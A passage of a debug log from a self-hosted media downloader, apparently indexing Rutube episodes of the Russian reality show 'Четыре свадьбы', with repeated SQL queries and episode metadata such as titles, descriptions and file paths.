INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16472] 14:36:11.958 [debug] Current batch of media processed. Will check again in 1000ms 14:36:12.959 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре свадьбы пройдут в Беларуси! Юлия из Бреста позовёт гостей на молодёжную свадьбу, Алеся из Ракова – на свадьбу в стиле «белорусская деревня», Алина из Ракова – на свадьбу двух поколений, а Людмила из Гродно – на свадьбу в белорусском национальном стиле. Как невесты оценят мероприятия друг друга, покажет программа «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE\nСоглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "duration" => 7804, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e050200 - Четыре свадьбы. Международный сезон: Свадьбы в Беларуси.mp4", "id" => "0fd63e3614b441d4e84cbba1ea94cd87", "original_url" => "https://rutube.ru/video/0fd63e3614b441d4e84cbba1ea94cd87/", "playlist_index" => 104, "timestamp" => 1746183636, "title" => "Четыре свадьбы. Международный сезон: Свадьбы в Беларуси", "upload_date" => "20250502"} 14:36:12.960 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1017.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:12.961 [debug] QUERY OK source="sources" db=0.3ms idle=1006.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:12.963 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 11:00:36Z], 1] 14:36:13.151 [debug] QUERY OK source="media_items" db=187.3ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы пройдут в Беларуси! Юлия из Бреста позовёт гостей на молодёжную свадьбу, Алеся из Ракова – на свадьбу в стиле «белорусская деревня», Алина из Ракова – на свадьбу двух поколений, а Людмила из Гродно – на свадьбу в белорусском национальном стиле. Как невесты оценят мероприятия друг друга, покажет программа «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE\nСоглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы. Международный сезон: Свадьбы в Беларуси", "7dc25f0f-13f0-4560-9eda-d2b700bbb5b6", "0fd63e3614b441d4e84cbba1ea94cd87", 7804, false, "https://rutube.ru/video/0fd63e3614b441d4e84cbba1ea94cd87/", 104, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e050200 - Четыре свадьбы. Международный сезон: Свадьбы в Беларуси.mp4", false, false, false, 1, [], 1, ~U[2025-05-02 11:00:36Z], ~U[2025-12-09 11:36:12Z], ~U[2025-12-09 11:36:12Z], "Четыре свадьбы пройдут в Беларуси! Юлия из Бреста позовёт гостей на молодёжную свадьбу, Алеся из Ракова – на свадьбу в стиле «белорусская деревня», Алина из Ракова – на свадьбу двух поколений, а Людмила из Гродно – на свадьбу в белорусском национальном стиле. Как невесты оценят мероприятия друг друга, покажет программа «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE\nСоглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы. Международный сезон: Свадьбы в Беларуси", "0fd63e3614b441d4e84cbba1ea94cd87", 7804, false, "https://rutube.ru/video/0fd63e3614b441d4e84cbba1ea94cd87/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e050200 - Четыре свадьбы. Международный сезон: Свадьбы в Беларуси.mp4", false, 1, ~U[2025-05-02 11:00:36Z]] 14:36:13.153 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=801.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:13.154 [debug] QUERY OK source="media_profiles" db=1.3ms idle=192.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:13.156 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=193.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25012] 14:36:13.156 [debug] Current batch of media processed. Will check again in 1000ms 14:36:14.159 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре пары побывают на свадьбах друг друга. Алексей и Мария из Санкт-Петербурга устроят свадьбу в стиле «киносъёмка». Фишкой свадьбы Михаила и Юлии из Самары станет оригинальный вынос колец. У Валерия и Александры из Москвы будет торжество в культурно-эстетическом стиле. А Сергей и Ксения отпразднуют в Казани свою свадьбу в классическом стиле. Как пройдут мероприятия, покажет программа «Четыре свадьбы».", "duration" => 7167, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051000 - Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле.mp4", "id" => "3e49d4aca1c4ab7fe4422045ef70a446", "original_url" => "https://rutube.ru/video/3e49d4aca1c4ab7fe4422045ef70a446/", "playlist_index" => 105, "timestamp" => 1746873610, "title" => "Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле", "upload_date" => "20250510"} 14:36:14.160 [debug] QUERY OK source="sources" db=1.1ms idle=1008.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:14.162 [debug] QUERY OK source="sources" db=1.0ms idle=1007.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.163 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1007.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 10:40:10Z], 1] 14:36:14.191 [debug] QUERY OK source="media_items" db=26.9ms idle=1007.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре пары побывают на свадьбах друг друга. Алексей и Мария из Санкт-Петербурга устроят свадьбу в стиле «киносъёмка». Фишкой свадьбы Михаила и Юлии из Самары станет оригинальный вынос колец. У Валерия и Александры из Москвы будет торжество в культурно-эстетическом стиле. А Сергей и Ксения отпразднуют в Казани свою свадьбу в классическом стиле. Как пройдут мероприятия, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле", "699b27b4-57e1-442d-a343-aa2bdeb2584b", "3e49d4aca1c4ab7fe4422045ef70a446", 7167, false, "https://rutube.ru/video/3e49d4aca1c4ab7fe4422045ef70a446/", 105, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051000 - Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле.mp4", false, false, false, 1, [], 1, ~U[2025-05-10 10:40:10Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "Четыре пары побывают на свадьбах друг друга. Алексей и Мария из Санкт-Петербурга устроят свадьбу в стиле «киносъёмка». Фишкой свадьбы Михаила и Юлии из Самары станет оригинальный вынос колец. У Валерия и Александры из Москвы будет торжество в культурно-эстетическом стиле. А Сергей и Ксения отпразднуют в Казани свою свадьбу в классическом стиле. Как пройдут мероприятия, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле", "3e49d4aca1c4ab7fe4422045ef70a446", 7167, false, "https://rutube.ru/video/3e49d4aca1c4ab7fe4422045ef70a446/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051000 - Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле.mp4", false, 1, ~U[2025-05-10 10:40:10Z]] 14:36:14.194 [debug] QUERY OK source="sources" db=2.3ms idle=838.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.196 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=33.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:14.198 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=34.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20550] 14:36:14.198 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты приглашают на свои мероприятия. Фишкой свадьбы Лианы из Сатки станет атмосфера. Надежда из Тихвина выберет для своей свадьбы стиль девяностых. У Елизаветы из Омска будет русско-цыганская свадьба. А Валерия отпразднует в Махачкале свадьбу, в которой соединятся две культуры. Какими получатся торжества участниц, узнаем из программы «Четыре свадьбы».", "duration" => 5967, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051700 - Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба.mp4", "id" => "28782452c91a832f37a0f3159d048398", "original_url" => "https://rutube.ru/video/28782452c91a832f37a0f3159d048398/", "playlist_index" => 106, "timestamp" => 1747479009, "title" => "Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба", "upload_date" => "20250517"} 14:36:14.200 [debug] QUERY OK source="sources" db=1.2ms idle=35.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:14.201 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.202 [debug] QUERY OK source="media_items" db=1.0ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 10:50:09Z], 1] 14:36:14.222 [debug] QUERY OK source="media_items" db=19.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают на свои мероприятия. Фишкой свадьбы Лианы из Сатки станет атмосфера. Надежда из Тихвина выберет для своей свадьбы стиль девяностых. У Елизаветы из Омска будет русско-цыганская свадьба. А Валерия отпразднует в Махачкале свадьбу, в которой соединятся две культуры. Какими получатся торжества участниц, узнаем из программы «Четыре свадьбы».", "Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба", "eeae1347-f2b0-414e-9c70-694a643ad8a8", "28782452c91a832f37a0f3159d048398", 5967, false, "https://rutube.ru/video/28782452c91a832f37a0f3159d048398/", 106, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051700 - Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-05-17 10:50:09Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "Четыре невесты приглашают на свои мероприятия. Фишкой свадьбы Лианы из Сатки станет атмосфера. Надежда из Тихвина выберет для своей свадьбы стиль девяностых. У Елизаветы из Омска будет русско-цыганская свадьба. А Валерия отпразднует в Махачкале свадьбу, в которой соединятся две культуры. Какими получатся торжества участниц, узнаем из программы «Четыре свадьбы».", "Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба", "28782452c91a832f37a0f3159d048398", 5967, false, "https://rutube.ru/video/28782452c91a832f37a0f3159d048398/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051700 - Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба.mp4", false, 1, ~U[2025-05-17 10:50:09Z]] 14:36:14.224 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=24.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.228 [debug] QUERY OK source="media_profiles" db=3.0ms queue=0.2ms idle=25.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:14.231 [debug] QUERY OK source="media_items" db=2.4ms idle=27.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25014] 14:36:14.232 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Какие платья выбирали невесты для своих торжеств? Чем участницы удивляли друг друга на свадьбах? Какие банкеты оказались самыми вкусными? И как девушки оценивали своих конкуренток, увидим в специальном выпуске программы «Четыре свадьбы».", "duration" => 7802, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e072600 - Новые Четыре свадьбы: Свадебный марафон.mp4", "id" => "96930abd0ddc1575a230189970e314fd", "original_url" => "https://rutube.ru/video/96930abd0ddc1575a230189970e314fd/", "playlist_index" => 107, "timestamp" => 1753504218, "title" => "Новые Четыре свадьбы: Свадебный марафон", "upload_date" => "20250726"} 14:36:14.234 [debug] QUERY OK source="sources" db=2.2ms idle=29.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:14.238 [debug] QUERY OK source="sources" db=3.1ms idle=13.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.243 [debug] QUERY OK source="media_items" db=4.9ms idle=13.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 04:30:18Z], 1] 14:36:14.266 [debug] QUERY OK source="media_items" db=21.0ms queue=0.1ms idle=16.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какие платья выбирали невесты для своих торжеств? Чем участницы удивляли друг друга на свадьбах? Какие банкеты оказались самыми вкусными? И как девушки оценивали своих конкуренток, увидим в специальном выпуске программы «Четыре свадьбы».", "Новые Четыре свадьбы: Свадебный марафон", "00b0c549-deee-40db-a39d-5a77dfb9418d", "96930abd0ddc1575a230189970e314fd", 7802, false, "https://rutube.ru/video/96930abd0ddc1575a230189970e314fd/", 107, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e072600 - Новые Четыре свадьбы: Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2025-07-26 04:30:18Z], ~U[2025-12-09 11:36:14Z], ~U[2025-12-09 11:36:14Z], "Какие платья выбирали невесты для своих торжеств? Чем участницы удивляли друг друга на свадьбах? Какие банкеты оказались самыми вкусными? И как девушки оценивали своих конкуренток, увидим в специальном выпуске программы «Четыре свадьбы».", "Новые Четыре свадьбы: Свадебный марафон", "96930abd0ddc1575a230189970e314fd", 7802, false, "https://rutube.ru/video/96930abd0ddc1575a230189970e314fd/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e072600 - Новые Четыре свадьбы: Свадебный марафон.mp4", false, 1, ~U[2025-07-26 04:30:18Z]] 14:36:14.268 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:14.269 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=34.4ms 